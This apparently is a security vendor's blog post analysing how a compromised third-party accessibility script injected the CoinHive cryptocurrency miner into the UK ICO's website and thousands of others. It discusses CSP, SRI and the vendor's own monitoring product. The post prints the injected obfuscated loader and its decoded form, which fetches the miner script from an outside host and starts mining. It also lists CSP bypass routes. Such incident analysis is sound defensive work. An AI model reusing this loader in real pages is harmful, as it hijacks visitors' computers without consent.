Application Security

ICO Case Study | Tackling Cryptojacking with Real-time Webpage Monitoring

February 14th, 2018 | By Pedro Fortuna and Paulo Silva | 8 min read

This weekend, the UK’s Information Commissioner’s Office website - ICO was caught serving the CoinHive crypto miner to its users. CoinHive crypto miner is a JavaScript that can be installed on any website for mining crypto (e.g., Monero - XMR).

This wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise with a 3rd party provider, TextHelp, used in ICO’s website.

This was flagged by Scott Helme - securityheaders.io and report-uri.com founder - after a tip from Ian Trump, another security expert.

The Cryptojacking Attack

ICO’s website was loading this file: /plus/scripts/ba.js, and that’s where the problem started.

By loading JavaScript straight from a 3rd party website like this, they are opening the door for injection attacks. And it’s not a matter of trusting the 3rd party provider or not, as they can unknowingly be compromised, allowing the attackers to use it as a vehicle for the injection.

This was the bit that was added to the ba.js script:

window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]("\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x27\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x27 \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x63\x6f\x6d\x2f\x6c\x69\x62\x2f\x63\x6f\x69\x6e\x68\x69\x76\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x3f\x72\x6e\x64\x3d"+window["\x4d\x61\x74\x68"]["\x72\x61\x6e\x64\x6f\x6d"]()+"\x27\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"]('\x3c\x73\x63\x72\x69\x70\x74\x3e \x69\x66 \x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79 \x3e \x31\x29\x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x61\x76\x69\x67\x61\x74\x6f\x72\x2e\x68\x61\x72\x64\x77\x61\x72\x65\x43\x6f\x6e\x63\x75\x72\x72\x65\x6e\x63\x79\x2f\x33\x29\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x65\x6c\x73\x65 \x7b \x76\x61\x72 \x63\x70\x75\x43\x6f\x6e\x66\x69\x67 \x3d \x7b\x74\x68\x72\x65\x61\x64\x73\x3a \x38\x2c\x74\x68\x72\x6f\x74\x74\x6c\x65\x3a\x30\x2e\x36\x7d\x7d \x76\x61\x72 \x6d\x69\x6e\x65\x72 \x3d \x6e\x65\x77 \x43\x6f\x69\x6e\x48\x69\x76\x65\x2e\x41\x6e\x6f\x6e\x79\x6d\x6f\x75\x73\x28\'\x31\x47\x64\x51\x47\x70\x59\x31\x70\x69\x76\x72\x47\x6c\x56\x48\x53\x70\x35\x50\x32\x49\x49\x72\x39\x63\x79\x54\x7a\x7a\x58\x71\'\x2c \x63\x70\x75\x43\x6f\x6e\x66\x69\x67\x29\x3b\x6d\x69\x6e\x65\x72\x2e\x73\x74\x61\x72\x74\x28\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');


The code has a very light obfuscation that just uses Subscript Notation to transform window.document.write into window[‘document’][‘write’] - and subsequently String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code.

Here is a reversed version:

window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd=" + window["Math"]["random"]() + "'></script>");
window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous(\'1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq\', cpuConfig);miner.start();</script>');


It turns out that the ICO wasn’t the only website affected. More than 4000 websites were reported to be loading the infected script directly from the browsealoud.com website.

This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery directly from their CDN lasting a few hours before the injection was removed. This is far too appealing to attackers who can compromise users at scale by attacking dependencies being loaded dynamically.

The focus of those attacks seems to be shifting to cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is one example. The attack on TextHelp is just one of the most recent ones.

Mitigation using CSP + SRI

As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s require-sri-for directive to enforce the use of SRI tags.

This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded.

But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are allowlisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum. But basically, there are plenty of ways for this to happen.

A few examples:

  1. JSONP callback endpoints

  2. Bypasses using AngularJS and other JS frameworks - there are documented CSP bypasses that may allow an attacker to inject arbitrary JS into the page

  3. Use an open redirect on an allowlisted domain, as the path is ignored by CSP after a redirect



The takeaway from this is that it is really hard to do allowlist-based CSP and skilled attackers will probably find bypasses.

A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI).

In any case, you still need to use SRI to ensure invalid scripts aren’t loaded, but again it's not a good option if the JS lib needs frequent updates. You can always host the file yourself, but that isn’t always possible in cases where the JavaScript is dynamically generated (which is a bad practice anyway).

Regarding CSP, a word of caution, as any header-based web security control can be disarmed by a browser extension.

Mitigation using Real-time Monitoring of the Webpage

If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real time.

That’s precisely what one is able to do with Jscrambler’s Webpage Integrity technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections.

In some cases, it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only does it prevent that execution from affecting that session, but it also tells you what was injected.

It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently.

Webpage Integrity vs. CSP

It’s similar to the CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both.

The advantage of Webpage Integrity’s approach is that contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time).

The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected ba.js version (instead of the current one) into ICO’s website.

At the same time, we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the document.write’s landing on the ICO’s webpage DOM and mitigate the attack.

Not only we were able to catch the injected <script> loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining.

You can see this in the dashboard (see figure below) and at the same time, you receive a notification on your backend upon which you can configure security policies.

webpage-integrity-dashboard-showing-an-injectionFigure 1 - Webpage Integrity Dashboard showing one of the injections.

Conclusion

With the growing popularity (and value) of cryptocurrencies, attackers are turning to steal our computer’s cycles as a way to get cash.

Cryptojacking has been all over the news in the last year or so. This TextHelp incident is just one more demonstration of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies and target many websites with a single blow. We are sure to see more of these attacks in the future.

CSP is helpful for restricting external JavaScript from being loaded in a website but is not meant to assure the integrity of scripts that it expects to load. SRI can lay a hand there, but it’s hard to maintain when the scripts change often.

Jscrambler’s Webpage Integrity is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking, and XSS - and reports back to the backend, allowing the web app to react immediately.

With it, we were able to demonstrate that we could catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any other website likely to have been hit).

As a final note, here is a “what if” exercise: in these exploits, the attacker only cared about using the end-user’s CPU to mine crypto. However, the ability to execute arbitrary JavaScript in the webpage would allow the attacker to collect any sensitive information that the user accesses or completely modifies the DOM and trick the user into giving away his credentials or performing some action not in his best interest.

Client-side injections are a problem that needs to be tackled as hard as one can.

Jscrambler

The leader in client-side Web security. With Jscrambler, JavaScript applications become self-defensive and capable of detecting and blocking client-side attacks like Magecart.

View All Articles

Must read next

Jscrambler

Jscrambler 6.0: Say Hello to JavaScript Threat Monitoring

Jscrambler 6.0 is here! Our new JavaScript Threat Monitoring feature will help you keep track of your protected code. See what's new in this release.

February 28, 2019 | By Jscrambler | 2 min read

Cybersecurity

Cryptography Introduction: Block Ciphers

Block ciphers are deterministic algorithms that allow securely protecting a single block of data. Here, we explain the different block cipher modes.

September 8, 2020 | By Jscrambler | 12 min read

Section Divider

Subscribe to Our Newsletter